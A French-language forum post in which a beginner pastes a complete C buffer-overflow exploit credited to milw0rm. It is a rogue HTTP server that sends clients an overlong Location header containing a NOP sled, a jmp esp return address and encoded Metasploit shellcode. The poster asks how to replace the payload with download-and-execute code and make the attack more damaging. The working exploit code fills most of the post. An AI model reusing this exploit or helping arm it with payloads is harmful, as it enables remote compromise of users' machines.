Buffer over flow ? oui mais !

Bonjour,

Voila mon probleme, j'ai récament découvert l'existance des exploits qui permettent d'utiliser des failles applicatives(au niveau logiciel) grace notament a metasploit (petite trousse a outils du crasher en herbe)

Hier, j'ai réussit mon premier exploit en local (la grande joie, lol) le probleme c'est que celui-ci n'est pas trés comment dire, "violent" ou "destructeur" disont. Il fait juste crasher l'application coté client.

Je voulais savoir si il était possible d'injecter sois même du code a exécuter par le client ? comme par exemple une sorte de download_and_execute integré dans métasploit voila l'exploit en c ou c++ :

#include <sys/types.h>
#include <sys/socket.h>

#include <arpa/inet.h>
#include <netinet/in.h>

#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 1550
#define NOP 0x90
#define RETADDR 0x7c941EED // jmp esp ntdll.dll

/* win32_exec - EXITFUNC=thread CMD=mspaint Size=336 Encoder=Alpha2 https://metasploit.com/ */

unsigned char shellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
"\x58\x30\x42\x31\x50\x41\x42\x6b\x41\x41\x52\x41\x32\x41\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x6d\x39\x59\x6c\x69"
"\x78\x41\x54\x75\x50\x77\x70\x45\x50\x6c\x4b\x73\x75\x55\x6c\x4e"
"\x6b\x61\x6c\x33\x35\x54\x38\x55\x51\x7a\x4f\x4c\x4b\x70\x4f\x45"
"\x48\x4c\x4b\x33\x6f\x67\x50\x45\x51\x4a\x4b\x43\x79\x6c\x4b\x34"
"\x74\x4c\x4b\x47\x71\x6a\x4e\x64\x71\x6f\x30\x5a\x39\x6e\x4c\x4e"
"\x64\x4f\x30\x30\x74\x45\x57\x79\x51\x6b\x7a\x74\x4d\x37\x71\x5a"
"\x62\x4a\x4b\x5a\x54\x55\x6b\x31\x44\x71\x34\x55\x54\x71\x65\x4b"
"\x55\x6c\x4b\x73\x6f\x61\x34\x45\x51\x78\x6b\x65\x36\x6c\x4b\x36"
"\x6c\x50\x4b\x4e\x6b\x71\x4f\x57\x6c\x35\x51\x38\x6b\x4c\x4b\x77"
"\x6c\x6e\x6b\x77\x71\x6a\x4b\x4c\x49\x71\x4c\x37\x54\x34\x44\x7a"
"\x63\x54\x71\x39\x50\x61\x74\x6c\x4b\x43\x70\x46\x50\x4b\x35\x49"
"\x50\x72\x58\x46\x6c\x6c\x4b\x47\x30\x36\x6c\x6c\x4b\x70\x70\x37"
"\x6c\x4e\x4d\x4c\x4b\x65\x38\x46\x68\x7a\x4b\x64\x49\x4e\x6b\x4f"
"\x70\x6e\x50\x77\x70\x77\x70\x45\x50\x6c\x4b\x70\x68\x37\x4c\x63"
"\x6f\x64\x71\x49\x66\x73\x50\x31\x46\x6e\x69\x59\x68\x4b\x33\x69"
"\x50\x51\x6b\x30\x50\x32\x48\x5a\x4f\x5a\x6e\x69\x70\x45\x30\x33"
"\x58\x4c\x58\x6b\x4e\x4c\x4a\x76\x6e\x66\x37\x6b\x4f\x7a\x47\x30"
"\x6d\x53\x43\x62\x50\x53\x51\x73\x59\x32\x4e\x33\x44\x45\x50\x42";

int
main(void)
{
struct sockaddr_in serv_sin, cli_sin;
int i, sockfd, cli_sock, sock_opt = 1, sin_len;
char *overflow, buf[BUFSIZE] = { 0 }, req[BUFSIZE + 100] = { 0 };

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd < 0)
{
perror("socket()");
exit(-1);
}

serv_sin.sin_family = AF_INET;
serv_sin.sin_port = htons(80);
serv_sin.sin_addr.s_addr = INADDR_ANY;

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &sock_opt, sizeof(int)) < 0)
{
perror("setsockopt()");
close(sockfd);
exit(-1);
}

if (bind(sockfd, (struct sockaddr *)&serv_sin, sizeof(struct sockaddr)) < 0)
{
perror("bind()");
close(sockfd);
exit(-1);
}

listen(sockfd, 1);
sin_len = sizeof(struct sockaddr);

printf("[*] Waiting for a connection...\n");

while (1)
{
cli_sock = accept(sockfd, (struct sockaddr *)&cli_sin, &sin_len);
if (cli_sock < 0)
{
perror("accept()");
exit(-1);
}

printf("[+] Connection from %s:%d\n", inet_ntoa(cli_sin.sin_addr), ntohs(cli_sin.sin_port));

read(cli_sock, buf, sizeof(buf) - 1);
overflow = (char *)malloc(BUFSIZE + 1);

for (i = 0; i <= 1540; i += 4)
*(long *)&overflow[i] = RETADDR;

for (i = 0; i < 1536; i++)
overflow[i] = NOP;

memcpy(overflow + 550, shellcode, strlen(shellcode));
memcpy(overflow + i + 4, "\xe9\x14\xfc\xff\xff", 5); // jmp -1000 - jump to our buffer

i = sprintf(req, "200 HTTP/1.1\r\nDate: 2008-07-24 20:14:31\r\nLocation: ");
memcpy(req + i, overflow, strlen(overflow));
memcpy(req + i + strlen(overflow), "\r\n\r\n", 4);

write(cli_sock, req, strlen(req));

printf("[+] Exploit sent!\n");

close(cli_sock);
}

close(sockfd);
}

// milw0rm.com [2008-08-10]


1)Alors faut-il modifier le shelcode lui même pour lui ajouter des instructions?
2)La porté de cet exploit est-elle limité a un simple plantage de l'application ?

merci d'avance pour vos réponse